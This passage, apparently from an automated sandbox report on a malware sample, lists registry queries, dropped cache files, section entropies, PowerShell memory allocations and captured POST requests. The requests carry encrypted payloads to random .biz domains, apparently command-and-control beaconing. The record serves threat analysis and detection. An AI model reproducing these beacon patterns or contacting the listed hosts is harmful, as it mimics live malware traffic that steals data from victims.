"HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "REGISTRATIONENABLED"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "REGISTERADAPTERNAME"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "DOMAIN"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "DHCPDOMAIN"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "DHCPV6DOMAIN"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\LINKAGE"; Key: "BIND"; Value: "")a3:Tc43,Dropped file: "E6B84D30E5F69CEB3278532D063D4504" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E6B84D30E5F69CEB3278532D063D4504]- [targetUID: 00000000-00003968] Dropped file: "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00003968] Dropped file: "5080DC7A65DB6A5960ECD874088F3328_BC00434159DAE8351451CCE9C748F5D7" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\5080DC7A65DB6A5960ECD874088F3328_BC00434159DAE8351451CCE9C748F5D7]- [targetUID: 00000000-00003968] Dropped file: "CC42971B7939A9CA55C44CFC893D7C1D" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\CC42971B7939A9CA55C44CFC893D7C1D]- [targetUID: 00000000-00003968] Dropped file: "3B6E683A7A45CC59BF035C9BA8C7AB9D" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\3B6E683A7A45CC59BF035C9BA8C7AB9D]- [targetUID: 00000000-00003968] Dropped file: "D2B5168CDD0EBF4C0C8EA1C3A1FAE07F_6A6C976C95DB61038C55E3E49EBCF182" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\D2B5168CDD0EBF4C0C8EA1C3A1FAE07F_6A6C976C95DB61038C55E3E49EBCF182]- [targetUID: 00000000-00003968] Dropped file: "D2B5168CDD0EBF4C0C8EA1C3A1FAE07F_6A6C976C95DB61038C55E3E49EBCF182" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\D2B5168CDD0EBF4C0C8EA1C3A1FAE07F_6A6C976C95DB61038C55E3E49EBCF182]- [targetUID: 00000000-00003968] Dropped file: "5080DC7A65DB6A5960ECD874088F3328_BC00434159DAE8351451CCE9C748F5D7" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\5080DC7A65DB6A5960ECD874088F3328_BC00434159DAE8351451CCE9C748F5D7]- [targetUID: 00000000-00003968] Dropped file: "5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4]- [targetUID: 00000000-00003968] Dropped file: "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00003968] Dropped file: "CC42971B7939A9CA55C44CFC893D7C1D" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\CC42971B7939A9CA55C44CFC893D7C1D]- [targetUID: 00000000-00003968] Dropped file: "3B6E683A7A45CC59BF035C9BA8C7AB9D" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\3B6E683A7A45CC59BF035C9BA8C7AB9D]- [targetUID: 00000000-00003968] Dropped file: "E6B84D30E5F69CEB3278532D063D4504" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E6B84D30E5F69CEB3278532D063D4504]- [targetUID: 00000000-00003968] Dropped file: "StartupProfileData-NonInteractive" - Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00001268] Dropped file: "5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4]- [targetUID: 00000000-00003968]a4:T7b9,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" has section name .text with entropy "7.943221737096115" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" has section name .rsrc with entropy "7.634795872068744" "chrmstp.exe" has section name .text with entropy "6.587409349913137" "chrmstp.exe" has section name .pdata with entropy "6.1263295336135055" "chrmstp.exe" has section name LZMADEC with entropy "6.061983420666291" "chrmstp.exe" has section name .reloc with entropy "7.035286278803413" "AcroRd32.exe" has section name .text with entropy "6.472547362547316" "AcroRd32.exe" has section name .reloc with entropy "7.9334255676488095" "elevation_service.exe" has section name .text with entropy "6.558748180975823" "elevation_service.exe" has section name .pdata with entropy "6.003944181150874" "elevation_service.exe" has section name .reloc with entropy "7.950331534583525" "wmpnetwk.exe" has section name .text with entropy "6.232412813031921" "wmpnetwk.exe" has section name .reloc with entropy "7.923604705692154" "7zG.exe" has section name .text with entropy "6.280581856632428" "chrome_pwa_launcher.exe" has section name .text with entropy "6.644190237084853" "chrome_pwa_launcher.exe" has section name LZMADEC with entropy "6.061983420666291" "chrome_pwa_launcher.exe" has section name .reloc with entropy "7.945073502752106" "cblauncher.exe" has section name .text with entropy "6.450676219212123" "dwtrig20.exe" has section name .text with entropy "6.5436052472279504" "dwtrig20.exe" has section name .data with entropy "7.6083045362467825" "Aut2exe_x64.exe" has section name .text with entropy "6.4570643871124025" "Aut2exe_x64.exe" has section name .rsrc with entropy "7.818647102884991" "setup.exe" has section name .text with entropy "6.400213715975472" "setup.exe" has section name .data with entropy "7.497651442245277" "setup.exe" has section name .reloc with entropy "7.940820565708055"a5:T6f7,"powershell.exe" allocated at least 32768.0 KB of consecutive memory with 100 calls "powershell.exe" allocated at least 32768.0 KB of consecutive memory with 101 calls "powershell.exe" allocated at least 32768.0 KB of consecutive memory with 102 calls "powershell.exe" allocated at least 32768.0 KB of consecutive memory with 103 calls "powershell.exe" allocated at least 32768.0 KB of consecutive memory with 104 calls "powershell.exe" allocated at least 32768.0 KB of consecutive memory with 105 calls "powershell.exe" allocated at least 32768.0 KB of consecutive memory with 106 calls "powershell.exe" allocated at least 32768.0 KB of consecutive memory with 107 calls "powershell.exe" allocated at least 32768.0 KB of consecutive memory with 108 calls "powershell.exe" allocated at least 32768.0 KB of consecutive memory with 109 calls "powershell.exe" allocated at least 32768.0 KB of consecutive memory with 110 calls "powershell.exe" allocated at least 32768.0 KB of consecutive memory with 111 calls "powershell.exe" allocated at least 32768.0 KB of consecutive memory with 112 calls "powershell.exe" allocated at least 32768.0 KB of consecutive memory with 113 calls "powershell.exe" allocated at least 32768.0 KB of consecutive memory with 114 calls "powershell.exe" allocated at least 32768.0 KB of consecutive memory with 115 calls "powershell.exe" allocated at least 32768.0 KB of consecutive memory with 116 calls "powershell.exe" allocated at least 32768.0 KB of consecutive memory with 117 calls "powershell.exe" allocated at least 32768.0 KB of consecutive memory with 118 calls "powershell.exe" allocated at least 32768.0 KB of consecutive memory with 119 calls "powershell.exe" allocated at least 32768.0 KB of consecutive memory with 120 callsa6:T13c98,"POST /gmyq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" with payload::==> "5e:0e:66:58:ff:44:ba:b4:3e:03:00:00:cb:2d:4a:85:31:10:af:9f:c0:d0:8d:89:2c:5b:28:a4:a6:07:c3:75:36:71:4d:e5:69:bf:98:4d:c6:ae:22:35:1e:c2:fe:cd:43:08:3c:4a:66:9f:91:fd:5d:bd:6f:e4:b5:52:3b:d9:cd:f5:f3:96:ad:c3:e4:9b:70:c7:15:5f:f2:03:eb:0e:19:7e:a3:6a:9a:f3:bf:0b:e4:83:bd:81:b3:b0:d0:99:24:43:7c:da:5f:1a:ad:3a:58:ca:3f:21:07:d5:59:c1:b8:95:33:0f:f5:5b:e1:8c:4d:b2:4f:1b:56:8e:92:07:83:c1:a1:55:15:4c:d9:e2:e4:5f:77:96:f2:3d:86:da:06:de:ca:9b:bb:05:6c:f7:0f:61:c3:db:f5:97:00:a4:90:b6:44:8a:81:f5:48:ca:88:f2:14:85:f2:55:70:46:79:86:31:b6:e5:19:b3:51:a0:f2:79:a0:a3:a0:b2:3a:0f:2f:0f:df:ed:98:cb:e7:3c:4c:a1:b9:9c:cb:d1:8c:6e:ec:b7:c7:00:4f:26:0d:ff:1e:4a:46:00:00:5d:9d:8b:9e:88:57:f9:e2:12:c7:f8:f0:29:cf:a7:51:4f:bd:52:b5:70:4c:0d:51:ec:46:a9:f9:f0:fc:73:89:84:6c:4b:8d:18:e3:30:1c:73:65:59:70:f0:79:19:20:5f:ed:a8:42:d1:9f:d3:3a:f5:cd:7d:f2:36:89:4e:d3:9c:3c:f3:aa:8d:b4:35:d5:8e:e8:71:ca:32:96:67:20:30:2f:ce:cb:39:c8:10:97:aa:20:94:9b:a7:e0:da:b9:ca:a1:0c:48:91:ec:89:2d:15:57:a8:e6:6e:3e:4e:f3:3a:52:cf:85:49:90:c9:c2:f5:9b:58:f2:d2:15:11:5c:52:53:07:b7:46:75:f1:06:5f:30:d6:60:f7:d5:7e:02:29:de:f6:fa:b6:ba:f9:88:5d:1b:df:9e:ac:9e:c3:d5:9f:04:db:47:8a:ee:69:97:c5:a7:df:82:2e:a4:80:f2:ac:80:6d:6d:9c:46:0e:63:f9:20:7c:dd:4b:26:a0:76:01:8d:35:5c:4e:ab:a3:40:9d:21:5c:44:b7:21:9f:b4:28:c1:4c:bd:be:9e:55:c1:4d:51:7a:ec:46:82:ee:84:31:f6:a6:a0:f9:64:6c:f3:bc:a8:34:ab:96:7d:ab:b2:a4:52:24:6c:f4:0a:da:47:68:66:36:d5:62:5b:af:ab:88:fc:12:c4:f7:a5:39:39:d8:7f:50:a2:5a:e3:4a:7f:e1:74:23:34:38:5c:f1:bf:5b:67:43:57:04:e9:34:ce:76:1d:86:42:82:72:8f:69:66:70:ff:13:22:a7:e5:fd:a4:0a:1b:5f:f7:e9:f5:bd:db:75:e1:08:c3:db:bf:0c:0c:eb:d8:78:be:2b:af:0f:26:79:43:f1:3f:bb:78:21:92:f1:5b:26:06:ce:5a:57:3c:96:ad:3e:dc:0e:22:86:59:19:2e:38:d7:54:d0:46:23:1a:82:d2:52:46:e1:09:34:dc:5b:b6:c2:aa:dc:bd:ce:57:0a:b5:b3:f7:dc:ba:c7:c2:c3:4e:43:3c:86:7f:fa:7e:5a:75:2b:c2:02:30:76:c6:80:3c:a7:55:6b:0d:49:fe:31:9c:a9:2f:71:7e:a8:0f:b8:c0:8b:52:0a:2d:e1:1e:bf:e0:73:f4:16:fd:47:00:7c:ef:8e:c8:1a:bf:d4:e9:4c:06:6f:7b:48:61:83:7c:59:1d:b5:c1:f5:bb:46:da:14:18:41:8f:49:2f:8c:5b:c9:4a:b2:d7:0d:a5:d9:5e:e4:ae:a5:89:6d:6c:37:10:83:9f:9e:a0:46:52:66:f5:78:32:6e:9c:40:ae:a8:9b:b0:cd:1f:7c:10:06:88:0d:84:82:e0:d7:83:5b:a8:3c:9f:b4:99:36:c0:30:12:b4:07:95:c7:c3:82:2a:64:05:fb:ed:a2:12:df:f0:48:37:b0:cf:1b:5a:88:9b:1d:35:b5:d8:22:ae:d0:18:f8:e4:81:89:0a:d2:9e:71:d4:d6:0f:c9:58:04:00:0d:0f:56:4f:34:c1:70:e7:b5:f0:74:1c:66:db:d2:55:c5:00:5d:8e:b9:9b:5c:b1:e3:f7:f1:e0:85:c4:1f:82:54:38:55:e6:c1:84:75:c0:d0:2f:70:40:63:9a:a8:be:67:57:b9:5c:7c" HTTP/1.1 200 OK Date: Tue 11 Nov 2025 08:50:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Cache-Control: no-store max-age=0 Accept-CH: Sec-CH-UA Sec-CH-UA-Arch Sec-CH-UA-Bitness Sec-CH-UA-Full-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform Sec-CH-UA-Platform-Version Sec-CH-UA-WoW64 Permissions-Policy: ch-ua=(self "https://*.parklogic.com") ch-ua-arch=(self "https://*.parklogic.com") ch-ua-bitness=(self "https://*.parklogic.com") ch-ua-full-version=(self "https://*.parklogic.com") ch-ua-full-version-list=(self "https://*.parklogic.com") ch-ua-mobile=(self "https://*.parklogic.com") ch-ua-model=(self "https://*.parklogic.com") ch-ua-platform=(self "https://*.parklogic.com") ch-ua-platform-version=(self "https://*.parklogic.com") ch-ua-wow64=(self "https://*.parklogic.com") with response body ==>33633A36383A37343A36643A36633A32303A36633A36313A36653A36373A33643A32323A36353A36653A32323A33653A33633A36383A36353A36313A36343A33....... "POST /eenafjh HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" with payload::==> "92:d7:af:24:fa:48:a2:b5:3e:03:00:00:e6:a9:0b:1c:6c:b8:f0:87:f5:95:45:97:63:98:30:5c:6c:b3:77:f9:59:46:8b:f3:91:ac:12:74:44:7e:97:d2:14:45:aa:f3:56:85:47:db:03:c4:45:df:48:2b:9c:a5:7b:1e:29:cf:05:ec:d8:43:dd:1c:d1:b3:50:18:14:95:a6:45:2c:a6:4d:34:54:59:18:2e:2d:ee:f8:1e:3d:fb:71:57:af:13:94:79:5a:d5:09:8c:f3:ca:cd:76:b2:53:9a:52:91:0e:79:73:b5:9f:6a:fd:ad:13:36:37:c1:38:0c:2c:fb:57:02:7e:58:dc:ff:79:ea:c4:b2:df:d8:c9:85:23:99:dc:45:39:54:c7:0e:84:eb:86:fb:29:f9:a8:71:94:54:88:09:dc:63:00:be:18:c9:02:29:04:aa:94:f6:80:17:37:35:eb:bf:fb:66:68:03:49:69:eb:c3:6c:dd:75:3b:e6:c3:fb:c0:3f:08:e5:27:e7:99:69:34:16:5a:72:18:77:f8:aa:88:0d:b7:0f:3d:d8:10:b9:f5:91:66:0f:2a:4b:50:ad:a2:03:4f:31:f2:6c:77:24:22:31:e0:b3:46:38:6c:46:79:86:44:28:8f:23:1d:3e:86:23:a9:a4:31:bb:b7:87:f5:c6:f6:1b:58:ba:5e:c6:2f:d9:c9:6a:d9:02:b1:44:d1:c6:6a:2a:8c:8d:ce:bc:75:63:da:6a:15:c8:45:47:bf:7c:31:4b:ab:53:07:c8:0a:d8:c3:d6:a5:41:46:54:50:56:f0:a7:a9:6c:10:e5:00:b1:99:11:9d:36:e7:05:b5:58:21:94:51:73:a4:22:0e:55:2c:33:42:18:f4:1a:5e:a1:b9:eb:9f:f6:bb:81:c1:0f:d9:17:0c:be:cf:bc:2e:dd:20:1c:16:00:62:df:29:79:92:7b:9f:b7:1c:80:58:16:45:63:e6:71:68:38:23:07:40:ee:4b:5e:a5:e4:4c:3c:c2:8e:77:0d:17:e7:7d:a7:d8:f3:4a:13:0d:cd:b2:50:6f:f9:2f:f1:d6:f4:cc:14:9c:31:a5:a6:cb:4b:c4:a3:8a:af:9f:b3:05:28:2e:16:f9:c4:5b:8f:11:d6:c5:1a:a1:3d:aa:f4:89:c5:54:e8:95:b3:b7:ce:6b:d1:84:4e:c8:02:a4:5f:7c:56:cc:e6:90:93:e1:fb:37:72:05:bc:45:87:1b:7b:b1:ec:58:70:5a:6d:bd:71:74:a4:70:ed:67:85:0a:44:75:f7:9f:09:84:ab:15:48:d5:eb:7f:d2:fc:f4:67:6f:a2:d5:86:3a:ff:1d:a1:11:8e:2e:e5:3d:f8:75:8a:62:48:15:95:8f:e4:76:05:c4:ee:c8:64:fe:ef:5f:4e:85:86:20:12:5a:42:e0:a3:3f:03:05:e7:2d:ce:43:96:00:71:bc:41:10:b5:ab:eb:35:6f:60:ce:51:51:54:68:51:4c:6f:c8:98:b6:92:31:19:f7:ef:31:2d:f8:92:3e:75:5d:91:a5:d4:4d:e8:b5:cb:aa:a1:e5:2f:e1:18:a4:dc:56:c8:c9:d5:46:2d:9a:fa:75:87:ae:32:27:86:59:9d:e0:65:e9:a1:18:e6:55:5b:43:27:73:f7:e3:aa:6f:4b:0a:20:88:51:4c:aa:d2:85:03:15:09:83:01:43:bf:c8:10:68:37:c3:7d:a3:f9:b9:08:3c:ad:6d:82:98:a4:30:37:b1:22:64:a8:6a:3b:2c:b2:24:51:04:10:ee:38:e0:2c:38:2a:24:cb:60:86:0a:71:2c:e7:f8:2c:8c:b7:5a:29:32:b7:19:96:e4:b1:f2:c9:a3:6e:f0:f4:b4:ac:62:ed:ed:22:7e:ff:47:f0:7e:6a:fb:8f:4c:7d:8b:c4:26:ad:66:21:94:f1:1d:91:bb:46:72:61:ad:cc:12:a0:bc:b6:b1:e4:db:a8:62:38:6a:ae:95:e4:bb:30:b1:e9:a6:75:68:92:7e:0c:13:af:72:c9:e6:f9:c8:71:a3:6a:8c:6e:5d:90:60:2e:70:48:ca:02:96:2f:56:cc:20:91:8d:38:b1:1d:27:da:03:23:68:7f:5d:a1:c3:19:a0:94:b4:82:5d:5f:6f:3f:76:4b:56:b8:2c:df:6e:dc:84:f0:15:19:c9:2a:76:f4:be:bd:1b:a0:f4:a6:44:bd:34:9c:32:d6:a7" HTTP/1.1 200 OK Date: Tue 11 Nov 2025 08:50:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Cache-Control: no-store max-age=0 Accept-CH: Sec-CH-UA Sec-CH-UA-Arch Sec-CH-UA-Bitness Sec-CH-UA-Full-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform Sec-CH-UA-Platform-Version Sec-CH-UA-WoW64 Permissions-Policy: ch-ua=(self "https://*.parklogic.com") ch-ua-arch=(self "https://*.parklogic.com") ch-ua-bitness=(self "https://*.parklogic.com") ch-ua-full-version=(self "https://*.parklogic.com") ch-ua-full-version-list=(self "https://*.parklogic.com") ch-ua-mobile=(self "https://*.parklogic.com") ch-ua-model=(self "https://*.parklogic.com") ch-ua-platform=(self "https://*.parklogic.com") ch-ua-platform-version=(self "https://*.parklogic.com") ch-ua-wow64=(self "https://*.parklogic.com") with response body ==>33633A36383A37343A36643A36633A32303A36633A36313A36653A36373A33643A32323A36353A36653A32323A33653A33633A36383A36353A36313A36343A33....... "POST /xdn HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: anpmnmxo.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" with payload::==> "91:d1:46:79:99:be:b1:e7:3e:03:00:00:44:cd:c2:69:91:f0:62:9c:a3:26:cf:43:35:e8:1f:a2:43:b0:ee:88:3f:20:57:b1:c4:75:d4:89:b2:22:e6:59:0c:48:31:1e:7b:78:e9:ed:67:8d:8b:82:c9:87:f7:38:2c:91:b7:3b:54:84:a3:3d:58:f0:d8:86:bb:4c:89:e5:c9:75:21:c9:6b:99:82:e5:b1:ca:c3:02:6a:57:0a:91:c8:3a:0f:62:30:94:c3:b0:a0:91:b9:1a:12:c7:ec:08:cd:ee:ec:49:70:00:0b:80:e5:8d:76:ff:db:56:d7:1f:01:ee:63:26:9f:92:01:4f:ba:8c:fd:14:d1:72:89:59:bb:77:95:0e:bc:29:77:15:e6:fe:a8:0b:bb:86:a1:04:ed:b5:ea:ba:fe:c0:0f:0c:ab:d1:ac:89:dd:19:42:0c:3f:07:40:7a:c4:23:cc:90:b4:10:52:b2:4d:45:9e:50:0f:c6:3d:78:45:df:ae:7e:26:27:7c:21:8a:28:d6:1c:3c:c3:e7:85:83:52:a9:aa:07:4e:83:76:b4:0d:7a:c8:7e:96:12:d6:a8:69:35:fa:ac:a8:ff:9a:25:c6:86:d8:7e:00:64:44:10:de:d5:06:b5:73:5c:7c:90:ba:a8:73:5c:a7:91:7d:f4:2a:d8:df:10:e3:0f:c3:93:52:09:72:00:54:e8:74:27:c1:c3:d7:ed:b0:7d:33:a7:86:21:0f:76:fe:f1:a2:52:41:a9:f8:67:ab:54:dc:df:5b:a1:5c:ee:95:2f:4c:06:47:49:f7:cd:5b:77:9e:ff:d3:94:c7:49:e2:8c:50:08:22:2c:46:3c:cb:b9:53:f0:7b:92:6e:48:0f:17:68:91:4c:c6:ec:61:8a:ec:a7:db:64:21:a0:03:18:0c:6d:05:6a:27:d6:6a:87:52:e8:9e:ab:55:33:c5:da:7a:20:7d:22:8b:52:7f:d0:14:f1:bd:14:68:94:b0:67:49:45:b0:71:f9:b7:c3:2c:1d:32:37:bf:7d:db:68:a4:00:b7:82:be:54:ba:ce:30:2d:09:f2:64:17:cc:cb:9b:14:8f:9a:6b:0e:56:80:9e:9d:1c:c7:04:b1:c7:6d:cb:fc:f5:b3:c9:64:05:b5:7d:01:36:b8:49:d0:b6:65:1f:5f:1c:ba:80:48:4f:cc:bd:c2:2f:b8:a2:4e:4b:d0:c7:a5:96:16:eb:2e:a6:41:e8:e6:ca:86:76:8d:85:fe:cf:f5:07:2a:4c:95:ef:54:8f:1c:b4:7a:5c:69:0b:78:f3:da:b6:4d:df:e2:ac:3f:fc:58:16:bb:1a:52:6b:a4:e2:9f:59:7a:b5:1e:07:08:b2:60:ec:24:3c:5b:92:e3:c9:a8:a0:14:79:31:17:48:15:b5:21:82:87:ad:34:74:6a:fa:18:d4:01:78:41:d0:75:47:68:40:17:3b:e9:55:c3:d8:5d:2c:35:61:36:d2:bd:b6:bf:a4:ba:a2:d8:72:02:c7:20:73:41:56:35:31:35:33:77:c7:3b:43:01:97:99:cf:2b:89:80:99:61:75:96:08:34:94:84:ed:74:35:91:28:27:0a:5d:21:f7:7b:29:11:01:c5:61:16:d2:f3:f7:46:d1:24:fa:74:7a:db:4f:38:ec:4c:d2:99:82:e9:b8:62:b7:0a:c0:a3:52:4f:2f:5e:8c:75:4e:b6:d8:50:2c:54:0a:42:19:a0:68:ff:f3:f9:12:bb:4a:03:fe:83:4a:b5:51:0b:b5:a6:fb:b6:66:fd:68:b4:c3:ee:37:51:28:7b:b4:7e:59:db:6c:19:a7:77:46:9c:50:aa:11:74:61:80:e6:2e:af:06:eb:1c:97:e0:79:ae:fc:77:c6:27:e4:a4:81:bf:13:0f:b4:1b:8e:38:15:28:dc:0f:1e:5c:ea:a8:85:0a:c9:f1:d1:70:dc:44:43:99:1e:8e:bb:e6:83:62:16:7c:6a:52:db:51:42:90:c2:12:96:57:6f:ed:94:3f:df:88:d3:fb:c2:50:8e:32:a9:21:9d:58:47:64:0b:1a:8d:e3:57:e1:9e:40:73:97:2a:10:e7:3b:f7:ba:6c:75:3b:f2:8e:b1:f1:01:db:2b:2c:ef:34:7c:01:5b:2c:fa:62:60:4c:78:3f:20:07:df:00:65:e5:07:01:76:f6:1a:b9:e1:70:30:89:d8:da:2f:92:a6:78" HTTP/1.1 302 Found Date: Tue 11 Nov 2025 08:50:30 GMT Content-Length: 0 Connection: keep-alive Location: http://www.anpmnmxo.biz/xdn X-Served-By: Namecheap URL Forward Server: namecheap-nginx with no response body "POST /grb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: anpmnmxo.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" with payload::==> "82:7c:af:62:51:a2:c6:c5:3e:03:00:00:e7:be:75:a9:98:91:31:e9:36:8b:a7:97:61:b8:bc:02:60:9d:2d:43:b9:b9:e7:46:a9:ed:39:fc:09:6a:d2:11:5a:0a:07:12:13:9c:23:c9:9b:69:3f:b3:a6:ea:cd:11:8e:82:15:b6:52:af:b0:24:e9:71:61:ec:53:f5:f8:3c:9c:70:cd:16:51:0f:53:25:43:6d:47:9a:cc:e8:ac:37:66:31:19:08:a0:3d:32:b5:00:e4:4b:68:ce:21:9c:06:ac:6e:5b:3a:65:56:60:a5:57:50:0f:72:54:bb:e6:81:e7:86:ba:b6:71:81:b8:ef:83:7b:69:7b:06:0a:aa:d8:11:c4:65:ab:6b:2b:ab:aa:58:c6:c4:4a:db:ce:ab:fc:f2:8e:2a:86:ab:2a:b0:c7:a3:7b:fc:0f:43:98:f2:d7:49:ab:9b:7f:3d:f1:40:fa:9b:f1:c6:e1:23:ef:f3:7f:ee:08:68:65:90:7f:88:79:29:ee:2a:69:6d:18:0c:a5:3e:b9:7a:3e:7f:41:d0:7d:5d:9d:5b:d1:56:2f:99:90:d2:39:66:09:d4:98:af:6e:b6:5d:c4:d0:80:ad:da:0a:b3:9c:82:40:2e:f0:e2:eb:66:8c:74:6c:ba:8c:84:16:34:b2:8f:1b:8f:9f:ac:71:7a:19:e1:f2:36:01:03:16:8c:46:3b:7e:da:6b:23:0a:bb:35:f3:9a:d4:c0:92:5a:70:39:06:ce:11:3b:6c:10:e2:c0:6a:64:00:bd:cb:e7:b5:bd:1b:9e:da:3b:35:87:8d:30:f9:0a:9d:ae:20:d5:a6:f1:76:b6:c2:fd:e5:67:b0:1b:13:84:00:73:65:d9:b0:6d:a5:65:79:e4:b1:c6:d7:65:d2:ee:c6:b3:1b:a5:30:8d:96:8e:c6:fd:21:20:f9:4c:de:c2:d5:16:ea:19:28:49:33:7a:2b:48:a7:ca:0a:d7:2b:db:9c:fe:ce:94:dc:36:9c:c3:ee:f5:2f:6b:20:57:87:09:ed:86:fd:4b:1d:e8:d1:77:16:c2:eb:db:27:27:aa:aa:52:0d:95:9a:3e:c3:05:9f:5e:d6:8a:41:81:ec:fe:3b:12:27:ed:b6:bb:61:fc:73:26:4c:7d:87:8e:43:0d:14:5c:f1:a4:cd:41:4